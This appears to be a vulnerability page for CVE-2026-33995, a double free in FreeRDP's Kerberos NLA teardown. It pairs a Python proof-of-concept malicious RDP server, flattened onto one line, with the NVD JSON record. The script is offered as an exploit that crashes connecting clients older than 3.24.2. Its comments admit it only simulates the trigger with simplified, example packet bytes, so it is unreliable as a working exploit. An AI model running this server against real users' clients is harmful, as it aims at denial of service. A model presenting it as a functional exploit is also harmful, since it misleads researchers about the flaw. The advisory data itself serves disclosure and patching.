CVE-2026-33995

import socket import struct # Conceptual PoC for CVE-2026-33995 (FreeRDP Double Free) # This script simulates a malicious RDP server that triggers the crash # during NLA connection teardown after a failed authentication attempt. def run_malicious_server(host='0.0.0.0', port=3389): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(1) print(f"[*] Listening on {host}:{port}...") conn, addr = server_socket.accept() print(f"[*] Connection accepted from {addr}") try: # 1. Receive Client Initial Connection Request # Standard RDP connection sequence starts with X.224 data = conn.recv(1024) # 2. Send Server Connection Confirm (Negotiation) # Indicating support for Standard Security or NLA # This is a simplified response to move to the NLA phase response = b"\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00" conn.send(response) # 3. Receive Client NLA (Kerberos) Token # In a real scenario, this contains the Kerberos AP_REQ nla_data = conn.recv(4096) # 4. Trigger the Vulnerability # The double-free occurs during the teardown of a failed NLA connection. # We simulate a failure condition. The specific packet sequence # that forces the double-free involves sending an error or # closing the connection unexpectedly after the client has sent # Kerberos data, causing the WinPR Kerberos context to be freed twice. print("[*] Sending failure response to trigger teardown...") # Sending a generic failure or closing the socket to force cleanup # The vulnerability specifically triggers in kerberos_InitializeSecurityContextA # when handling the error state during cleanup. error_pdu = b"\x03\x00\x00\x0c\x02\xf0\x80\x00\x00\x00\x00\x00" # Example Error PDU conn.send(error_pdu) # Close connection to force cleanup logic on client side conn.close() print("[*] Connection closed. If the client is vulnerable, it should have crashed.") except Exception as e: print(f"[-] An error occurred: {e}") finally: server_socket.close() if __name__ == "__main__": run_malicious_server()

{"cve": {"id": "CVE-2026-33995", "sourceIdentifier": "[email protected]", "published": "2026-03-30T22:16:20.167", "lastModified": "2026-04-01T18:35:09.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, a double-free vulnerability in kerberos_AcceptSecurityContext() and kerberos_InitializeSecurityContextA() (WinPR, winpr/libwinpr/sspi/Kerberos/kerberos.c) can cause a crash in any FreeRDP clients on systems where Kerberos and/or Kerberos U2U is configured (Samba AD member, or krb5 for NFS). The crash is triggered during NLA connection teardown and requires a failed authentication attempt. This issue has been patched in version 3.24.2."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.24.2, una vulnerabilidad de doble liberación en kerberos_AcceptSecurityContext() y kerberos_InitializeSecurityContextA() (WinPR, winpr/libwinpr/sspi/Kerberos/kerberos.c) puede causar un fallo en cualquier cliente de FreeRDP en sistemas donde Kerberos y/o Kerberos U2U está configurado (miembro de Samba AD, o krb5 para NFS). El fallo se desencadena durante la desconexión de la conexión NLA y requiere un intento de autenticación fallido. Este problema ha sido parcheado en la versión 3.24.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.24.2", "matchCriteriaId": "03FF152C-C651-4586-8958-1555D9797516"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/8078b8af1359055972e4fb2f509f543b69169391", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-mv25-f4p2-5mxx", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}